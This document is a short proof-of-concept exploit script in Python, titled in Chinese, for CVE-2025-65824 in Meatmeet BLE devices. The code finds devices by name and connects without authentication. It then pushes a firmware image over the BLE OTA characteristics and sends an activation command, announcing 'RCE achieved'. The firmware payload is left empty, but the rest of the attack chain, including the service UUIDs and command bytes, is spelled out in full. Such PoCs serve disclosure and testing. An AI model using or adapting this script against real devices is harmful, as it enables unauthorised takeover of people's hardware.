CVE-2025-65824: Meatmeet设备BLE OTA固件升级远程代码执行漏洞

# CVE-2025-65824 PoC - Meatmeet BLE OTA Firmware Exploitation # This PoC demonstrates the BLE OTA vulnerability in Meatmeet devices import asyncio from bleak import BleakClient, BleakScanner import struct import hashlib TARGET_DEVICE_NAME = "Meatmeet" OTA_SERVICE_UUID = "0000fe00-0000-1000-8000-00805f9b34fb" OTA_CONTROL_UUID = "0000fe01-0000-1000-8000-00805f9b34fb" OTA_DATA_UUID = "0000fe02-0000-1000-8000-00805f9b34fb" MALICIOUS_FIRMWARE = b"" class MeatmeetOTAExploit: def __init__(self): self.target_device = None self.client = None async def discover_device(self): """Discover Meatmeet device via BLE""" devices = await BleakScanner.discover() for device in devices: if TARGET_DEVICE_NAME in (device.name or ""): self.target_device = device print(f"[+] Found target: {device.name} ({device.address})") return True return False async def connect(self): """Connect to target device without authentication""" if not self.target_device: raise Exception("Target device not found") self.client = BleakClient(self.target_device.address) await self.client.connect() print(f"[+] Connected to {self.target_device.name}") async def initiate_ota_update(self): """Send OTA update initiation command""" ota_service = self.client.services.get_service(OTA_SERVICE_UUID) control_char = ota_service.get_characteristic(OTA_CONTROL_UUID) # OTA initiation command (device-specific) init_cmd = bytes([0x01, 0x00, 0x00, 0x00]) await self.client.write_gatt_char(control_char, init_cmd) print("[+] Sent OTA initiation command") await asyncio.sleep(0.5) async def send_malicious_firmware(self): """Send malicious firmware via BLE OTA""" ota_service = self.client.services.get_service(OTA_SERVICE_UUID) data_char = ota_service.get_characteristic(OTA_DATA_UUID) # Split firmware into chunks for OTA transfer chunk_size = 240 for i in range(0, len(MALICIOUS_FIRMWARE), chunk_size): chunk = MALICIOUS_FIRMWARE[i:i+chunk_size] await self.client.write_gatt_char(data_char, chunk) print(f"[+] Sent firmware chunk {i//chunk_size + 1}") await asyncio.sleep(0.01) print(f"[+] Sent {len(MALICIOUS_FIRMWARE)} bytes of malicious firmware") async def activate_firmware(self): """Activate the malicious firmware""" ota_service = self.client.services.get_service(OTA_SERVICE_UUID) control_char = ota_service.get_characteristic(OTA_CONTROL_UUID) # Activate command activate_cmd = bytes([0x03, 0x00, 0x00, 0x00]) await self.client.write_gatt_char(control_char, activate_cmd) print("[+] Sent firmware activation command") await asyncio.sleep(2) async def exploit(self): """Execute the full exploitation chain""" try: if not await self.discover_device(): print("[-] Target device not found") return False await self.connect() await self.initiate_ota_update() await self.send_malicious_firmware() await self.activate_firmware() print("[+] Exploitation complete - RCE achieved") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False finally: if self.client: await self.client.disconnect() async def main(): exploit = MeatmeetOTAExploit() await exploit.exploit() if __name__ == "__main__": asyncio.run(main())